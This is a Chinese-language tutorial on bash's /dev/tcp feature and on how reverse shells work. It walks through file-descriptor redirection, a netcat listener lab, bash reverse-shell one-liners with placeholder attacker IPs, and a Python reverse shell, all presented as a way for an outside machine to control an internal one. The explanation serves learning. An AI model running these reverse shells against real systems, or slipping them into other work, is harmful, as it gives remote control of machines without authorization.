1. 什么是/dev/tcp/
/dev/udp
类似 /dev/tcp/host/port
/dev/udp/host/port
这种形式实际上属于bash的一个特性,类似一种固定的格式调用底层函数打开一个socket,在其他的 shell 中并不一定用(ksh 有这种写法)。这是一个特殊的文件实际上在 dev 目录下是不存在的。利用它我们可以创建 TCP/UDP 的连接。这里我们举一个例子
1 | exec 9<>/dev/tcp/www.hactcm.edu.cn/80 # 打开一个文件描述符 9 并且绑定一个 socket |
2 | echo -e "GET / HTTP/1.1/n/n" >&9 # 像 9 中发送一个字符串 |
3 | cat <&9 # 取出 9 中收到的字符串 |
结果是
1 | HTTP/1.1 400 Bad Request |
2 | Content-Type: text/html |
3 | Content-Length: 7083 |
4 | |
5 | <!DOCTYPE html> |
6 | <html lang="zh-CN"> |
7 | ......... |
我们还可以从 /dev/fd/
中看到文件描述符9指向一个socket
1 | [root@master ~]# ls -lah /dev/fd/ |
2 | 总用量 0 |
3 | dr-x------ 2 root root 0 1月 3 21:10 . |
4 | dr-xr-xr-x 9 root root 0 1月 3 21:10 .. |
5 | lrwx------ 1 root root 64 1月 3 21:10 0 -> /dev/pts/0 |
6 | lrwx------ 1 root root 64 1月 3 21:10 1 -> /dev/pts/0 |
7 | lrwx------ 1 root root 64 1月 3 21:10 2 -> /dev/pts/0 |
8 | lr-x------ 1 root root 64 1月 3 21:10 3 -> /proc/7597/fd |
9 | lrwx------ 1 root root 64 1月 3 21:10 9 -> socket:[34195773] |
10 | [root@master ~]# |
最后别忘记释放链接
1 | exec >&9- |
理解了 /dev/tcp/host/port
的含义我们看一看
2. 理解bash -i >& /dev/tcp/localhost/8080 0>&1
1 | bash -i >& /dev/tcp/localhost/8080 0>&1 |
这是一个常用的反弹 shell 的命令。常用于把内网的机器反弹到外网机器上从而实现 外网主机控制内网主机。
bash -i
打开一个交互式的shell>&
这个命令和&>
是一样的而且我推荐大家使用&>
。这两个符号的含义是把标准错误和标准输出重定向到文件。举个例子大家可以执行以下看一下结果1
ls -la > aaa.log # 标准输出重定向到文件
2
cat aaa.log # 查看结果
3
4
lss -la > aaa.log # 标准错误未重定向到文件
5
cat aaa.log # 查看结果
6
7
lss -la &> aaa.log # 标准错误和标准输出未重定向到文件
8
cat aaa.log
9
10
lss -la >& aaa.log # 标准错误和标准输出未重定向到文件
11
cat aaa.log # 查看结果
对于这个
>&
&>
的解释可以看bash的手册1
This construct allows both the standard output (file descriptor 1) and the standard error output (file descriptor 2) to be redirected to the file whose name is the expansion of word.
2
3
There are two formats for redirecting standard output and standard error:
4
5
&>word
6
and
7
8
>&word
9
Of the two forms, the first is preferred. This is semantically equivalent to
10
11
>word 2>&1
12
When using the second form, word may not expand to a number or ‘-’. If it does, other redirection operators apply (see Duplicating File Descriptors below) for compatibility reasons.
一句话说就是这两个符号代表的含义是一样的
0>&1
把输入重定向到标准输出
这样外网的机器就可以获得一个完整的 shell ,有兴趣的大家可以试一下
3. 实验
外网机器执行
1 | nc -lvp 8787 |
内网机器执行
1 | bash -i >& /dev/tcp/外网机器IP/8787 0>&1 |
当然在 bash 下执行是没问题的但是在其他 shell 下执行会报错所以更健壮的写法是
1 | bash -c 'bash -i >& /dev/tcp/外网机器IP/8787 0>&1' |
实际上还可以这样写
1 | bash -c 'bash -i &> /dev/tcp/外网机器IP/8787 <&1' |
4. 总结
网上传的很多语言的脚本也是利用这个原理,反弹一个shell让我们控制,看下利用的条件
- 支持 tcp 链接
- 支持 IO 重定向
- 可以调用系统命令
只要满足这三个你熟知的语言都可以替换掉这行命令
下面贴一个Python的反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",8787));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
1 | import socket,subprocess,os |
2 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
3 | s.connect(("外网机器IP",8787)) |
4 | os.dup2(s.fileno(),0) |
5 | os.dup2(s.fileno(),1) |
6 | os.dup2(s.fileno(),2) |
7 | p=subprocess.call(["/bin/bash","-i"]) |
5. 致谢
谢谢小明同学和小陈同学给出的中肯意见。